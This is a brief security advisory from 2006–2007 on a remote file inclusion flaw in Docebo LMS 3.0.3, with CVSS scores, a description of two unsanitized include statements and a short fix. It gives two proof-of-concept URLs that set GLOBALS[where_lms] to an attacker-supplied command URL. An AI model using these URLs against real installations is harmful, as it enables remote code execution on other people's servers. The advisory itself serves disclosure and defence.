Docebo Lms 3.0.3, Remote command execution

2007.01.30
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

----------------------------------------------------- Advisory id: FSA:010 Author: Federico Fazzi Date: 09/06/2006, 7:24 Sinthesis: Docebo Lms 3.0.3, Remote command execution Type: high Product: http://www.docebolms.org/ Patch: unavailable ----------------------------------------------------- 1) Description: Error occured in class.definition.php, include($GLOBALS['where_lms'].'/modules/'.$this->module_name.'/'.$this->module_name.'.php'); Error occured in scorm_utils.php, include_once( $GLOBALS['where_lms'] . '/config.php' ); The users can include a remote file because the $GLOBALS['where_lms'] isn't sanitized 2) Proof of concept: http://example/[dc_path]/class.module/class.definition.php?GLOBALS[where_lms]=[cmd_url] http://example/[dc_path]/modules/scorm/scorm_utils.php?GLOBALS[where_lms]=[cmd_url] 3) Solution: include file where are declare $GLOBALS[*]


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